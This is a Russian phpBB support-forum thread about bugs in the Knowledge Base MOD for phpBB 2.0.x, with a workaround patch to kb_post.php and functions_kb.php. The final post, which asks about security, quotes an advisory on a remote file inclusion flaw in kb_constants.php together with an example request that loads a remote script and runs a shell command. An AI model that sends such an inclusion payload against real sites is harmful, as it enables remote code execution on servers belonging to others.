Уважаемые пользователи!
C 7 ноября 2020 года phpBB Group прекратила выпуск обновлений и завершила дальнейшее развитие phpBB версии 3.2.
С 1 августа 2024 года phpBB Group прекращает поддержку phpBB 3.2 на официальном сайте.
Сайт официальной русской поддержки phpBB Guru продолжит поддержку phpBB 3.2 до 31 декабря 2024 года.
С учетом этого, настоятельно рекомендуется обновить конференции до версии 3.3.

Knowledge Base MOD

Ответы на вопросы, связанные с модами для phpBB 2.0.x, кроме относящихся к форуму Для авторов (phpBB 2.0.x).
Аватара пользователя
Sheer
Former team member
Сообщения: 12113
Зарегистрирован: 17 лет 2 месяца
Откуда: Калининград не Кенигсберг
Благодарил (а): 41 раз
Поблагодарили: 1716 раз

Re: Knowledge Base MOD

Сообщение Sheer »

wwc писал(а):Может быть есть SQL код в текстовом виде ?
Ну вот же, прям перед носом - на это странице! Смотри мое сообщение от 18.02.2007
Изображение
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
Аватара пользователя
wwc
phpBB 1.4.4
Сообщения: 127
Зарегистрирован: 16 лет 10 месяцев
Откуда: Москва

Re: Knowledge Base MOD

Сообщение wwc »

aquaforum.lv писал(а):
wwc писал(а):Может быть есть SQL код в текстовом виде ?
Ну вот же, прям перед носом - на это странице! Смотри мое сообщение от 18.02.2007
Туплю-с... :?
Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
Аватара пользователя
wwc
phpBB 1.4.4
Сообщения: 127
Зарегистрирован: 16 лет 10 месяцев
Откуда: Москва

Re: Knowledge Base MOD

Сообщение wwc »

Спасибо. Все поставил. Вроде работает. Но как бы мне с этим глюком побороться --> http://rsg.peko.ru/php/phpBB2/viewtopic.php?t=336 ... не выводит ни саму статью ни ее URL :-(
Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
Аватара пользователя
wwc
phpBB 1.4.4
Сообщения: 127
Зарегистрирован: 16 лет 10 месяцев
Откуда: Москва

Re: Knowledge Base MOD

Сообщение wwc »

И еще не совсем понятна формулировка "Тип статьи", коли есть пункт описание статьи... 8-)
Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
Аватара пользователя
Sheer
Former team member
Сообщения: 12113
Зарегистрирован: 17 лет 2 месяца
Откуда: Калининград не Кенигсберг
Благодарил (а): 41 раз
Поблагодарили: 1716 раз

Re: Knowledge Base MOD

Сообщение Sheer »

wwc писал(а):Но как бы мне с этим глюком побороться...... не выводит ни саму статью ни ее URL :-(
Сам не знаю. На локалке работает как надо, на сайте нет. Плюнул, после добавления статьи редактирую вручную. Выглядеть это должно примерно так.
Тип статьи - это наверное какя-то заготовка автора мода на будущее, но доделать руки видать не дошли :roll:
Изображение
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
Аватара пользователя
wwc
phpBB 1.4.4
Сообщения: 127
Зарегистрирован: 16 лет 10 месяцев
Откуда: Москва

Re: Knowledge Base MOD

Сообщение wwc »

aquaforum.lv писал(а):
wwc писал(а):Но как бы мне с этим глюком побороться...... не выводит ни саму статью ни ее URL :-(
Сам не знаю. На локалке работает как надо, на сайте нет. Плюнул, после добавления статьи редактирую вручную. Выглядеть это должно примерно так.
Тип статьи - это наверное какя-то заготовка автора мода на будущее, но доделать руки видать не дошли :roll:
А в каом месте вообще формируется код выхода на основную страничку, может там просто переменная кривовато описана. Где б посмотреть ?
Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
Аватара пользователя
Sheer
Former team member
Сообщения: 12113
Зарегистрирован: 17 лет 2 месяца
Откуда: Калининград не Кенигсберг
Благодарил (а): 41 раз
Поблагодарили: 1716 раз

Re: Knowledge Base MOD

Сообщение Sheer »

wwc писал(а):Где б посмотреть ?
Смиотреть в файле includes\kb_post.php
Собака порылась где-то тут:

Код: Выделить всё

$kb_post_mode = empty( $article_id ) ? 'add' : 'edit';

// Parameters

$submit = ( isset( $HTTP_POST_VARS['article_submit'] ) ) ? true : false;
$cancel = ( isset( $HTTP_POST_VARS['cancel'] ) ) ? true : false;
$preview = ( isset( $HTTP_POST_VARS['preview'] ) ) ? true : false;
Изображение
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
Аватара пользователя
wwc
phpBB 1.4.4
Сообщения: 127
Зарегистрирован: 16 лет 10 месяцев
Откуда: Москва

Re: Knowledge Base MOD

Сообщение wwc »

aquaforum.lv писал(а):
wwc писал(а):Где б посмотреть ?
Смиотреть в файле includes\kb_post.php
Собака порылась где-то тут:

Код: Выделить всё

$kb_post_mode = empty( $article_id ) ? 'add' : 'edit';

// Parameters

$submit = ( isset( $HTTP_POST_VARS['article_submit'] ) ) ? true : false;
$cancel = ( isset( $HTTP_POST_VARS['cancel'] ) ) ? true : false;
$preview = ( isset( $HTTP_POST_VARS['preview'] ) ) ? true : false;
Посмотрел. Вроде нчиего особенного не нашел. Думаю, что проблема в той части скрипта, где идет формирование связи с выводом в viewtopic.php
Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
Gosudar
phpBB 2.0.0
Сообщения: 227
Зарегистрирован: 18 лет 9 месяцев

Re: Knowledge Base MOD

Сообщение Gosudar »

Какая версия мода? и где качали?
файл functions_kb.php:
За создание сообщения отвечает функция kb_compose_comment
Там раньше была ошибка, что-то типа - т.е. PORTAL_URL не определено
$temp_url = PORTAL_URL . this_kb_mxurl("mode=" . "article&k=" . $kb_comment['article_id']);
Хотя может и исправили это.
Аватара пользователя
Sheer
Former team member
Сообщения: 12113
Зарегистрирован: 17 лет 2 месяца
Откуда: Калининград не Кенигсберг
Благодарил (а): 41 раз
Поблагодарили: 1716 раз

Re: Knowledge Base MOD

Сообщение Sheer »

Gosudar писал(а):Какая версия мода? и где качали?
Версия 1.19 от 2005/04/20. Откуда качал не помню.
В общем поковырялся там. С PORTAL_URL вроде все впорядке.
Собственно суть проблемы такова. При добавлении статьи в форуме создается топик и там вместо
Название статьи:
Автор:
Описание:
Категория:
Тип статьи:

>>Прочитать статью полностью

выводится
Статья отредактирована
То есть в БД в таблицу phpbb_posts_text попадает содержимое переменной $message_update_text , а не переменной $message

Почему, я так и не понял, но решил проблему в лоб, может некрасиво, но зато работает:

Код: Выделить всё

файл includes/kb_post.php
найти 
$message_temp = kb_compose_comment( $kb_comment );
заменить 
$message_temp = kb_compose_comment( $kb_comment, $mode );

файл includes/kb_article.php
найти 
$message_temp = kb_compose_comment( $kb_comment );
заменить
$message_temp = kb_compose_comment( $kb_comment, $mode );

файл includes/kb_moderator.php
найти 
$message_temp = kb_compose_comment( $kb_comment );
заменить
$message_temp = kb_compose_comment( $kb_comment, $mode );


файл includes/functions_kb.php
найти 
function kb_compose_comment( $kb_comment )
заменить 
function kb_compose_comment( $kb_comment, $kb_mode )

найти 
$message_update_text = "[i]" . $lang['Edited_Article_info'] . $kb_comment['article_editor'] . "[/i]" . "\n\n";
после вставить
if ($kb_mode == "add") $message_update_text = $message;
Изображение
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
Gosudar
phpBB 2.0.0
Сообщения: 227
Зарегистрирован: 18 лет 9 месяцев

Re: Knowledge Base MOD

Сообщение Gosudar »

Ну если работает, и при редактировании тогда все ок!
Если нет, киньте в меня свою версию мода, посмотрю на досуге.
Аватара пользователя
wwc
phpBB 1.4.4
Сообщения: 127
Зарегистрирован: 16 лет 10 месяцев
Откуда: Москва

Re: Knowledge Base MOD

Сообщение wwc »

aquaforum.lv писал(а):
Gosudar писал(а):Какая версия мода? и где качали?
Почему, я так и не понял, но решил проблему в лоб, может некрасиво, но зато работает:
Реально работает. Спасибо огромное !!!
Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
Аватара пользователя
Sheer
Former team member
Сообщения: 12113
Зарегистрирован: 17 лет 2 месяца
Откуда: Калининград не Кенигсберг
Благодарил (а): 41 раз
Поблагодарили: 1716 раз

Re: Knowledge Base MOD

Сообщение Sheer »

wwc писал(а):Реально работает.
Да ить работать-то, работает. Но все-равно тут парадокс и перегиб.
На работе стоит Apach, скачанный с denwer.ru (Денвер-2 2005-07-19), дома поставил тот же. Настройки вроде те же, но вот на работе на локале все работает без всяких переделок, а дома и на хосте - нет. Или что-то с глобальными переменными, или с настройками php.
Короче мод кривоватый, если такие неявные нюансы влияют на работу мода.
Изображение
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
Аватара пользователя
wwc
phpBB 1.4.4
Сообщения: 127
Зарегистрирован: 16 лет 10 месяцев
Откуда: Москва

Re: Knowledge Base MOD

Сообщение wwc »

aquaforum.lv писал(а):Короче мод кривоватый, если такие неявные нюансы влияют на работу мода.
В целом, да. В 1.53 + , есть решение этого мода встроенным путем. Можно у них посмотреть. Я, если честно, не мостак перестраивать плюсовые моды под обычные :-)
Лучшая месть убийце - укол редкого вируса и поиск антидота от него за 48 часов.
Fizigr
phpBB 1.2.0
Сообщения: 15
Зарегистрирован: 16 лет 4 месяца

Re: Knowledge Base MOD

Сообщение Fizigr »

Добрый день!
Есть вопрос по безопасности данного мода.
В частности интересует файл ./includes/kb_constants.php
Файл начинается с:

Код: Выделить всё

if ( !MXBB_MODULE )
{...
Не должно ли там быть что-то типа:

Код: Выделить всё

if ( !defined( 'IN_PORTAL' ) )
{
	die( "Hacking attempt" );
}
или:

Код: Выделить всё

if ( !defined('IN_PHPBB') )
{
	die("Hacking attempt");
}
Добавлено спустя 4 минуты 19 секунд:
Кстати, вот с хакера пример...
Программа: Knowledge Base Mod (модуль для phpBB) 2.0.2, возможно другие версии.

Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "module_root_path" в сценарии /includes/kb_constants.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на системе с привилегиями Web сервера. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена.

Пример:

/includes/kb_constants.php?module_root_path=http://yourhost/cmd.gif?cmd=ls

Вернуться в «Поддержка модов для phpBB 2.0.x»